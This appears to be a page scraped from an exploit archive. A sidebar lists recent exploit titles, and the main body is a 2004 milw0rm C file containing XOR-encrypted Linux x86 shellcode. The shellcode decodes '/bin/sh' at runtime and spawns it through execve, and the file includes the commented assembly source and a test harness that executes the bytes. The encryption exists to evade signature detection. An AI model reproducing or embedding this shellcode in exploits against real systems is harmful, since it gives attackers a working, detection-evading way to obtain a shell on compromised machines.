477bcbdcc0
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
46 lines
No EOL
1,006 B
C
Executable file
46 lines
No EOL
1,006 B
C
Executable file
/*
|
|
.file "xor-encrypted shellcode"
|
|
.version "1.0"
|
|
.text
|
|
.align 4
|
|
.globl main
|
|
.type main,@function
|
|
_start:
|
|
xorl %eax,%eax
|
|
jmp 0x22
|
|
popl %ebx
|
|
movl 8(%ebx),%edx
|
|
xor %edx,(%ebx)
|
|
xor %edx,4(%ebx)
|
|
xor %edx,%edx
|
|
movl %ebx,0x8(%esp)
|
|
movl %edx,0xc(%esp)
|
|
movb $0xb,%al
|
|
leal 0x8(%esp),%ecx
|
|
int $0x80
|
|
xorl %ebx,%ebx
|
|
movl %ebx,%eax
|
|
incl %eax
|
|
int $0x80
|
|
call -0x27
|
|
.string "\x6e\x23\x28\x2f\x6e\x32\x29\x41\x41\x41\x41\x41"
|
|
*/
|
|
|
|
#define NAME "encrypted"
|
|
|
|
char code[]=
|
|
"\x31\xc0\xeb\x22\x5b\x8b\x53\x08\x31\x13\x31\x53\x04\x31\xd2\x89"
|
|
"\x5c\x24\x08\x89\x54\x24\x0c\xb0\x0b\x8d\x4c\x24\x08\xcd\x80\x31"
|
|
"\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff\xff\xff"
|
|
"\x6e\x23\x28\x2f\x6e\x32\x29\x41" /* encrypted "/bin/sh" */
|
|
"\x41\x41\x41\x41"; /* Conversion chars */
|
|
|
|
main()
|
|
{
|
|
int (*funct)();
|
|
funct = (int (*)()) code;
|
|
printf("%s shellcode\n\tSize = %d\n",NAME,strlen(code));
|
|
(int)(*funct)();
|
|
}
|
|
|
|
// milw0rm.com [2004-09-12]
|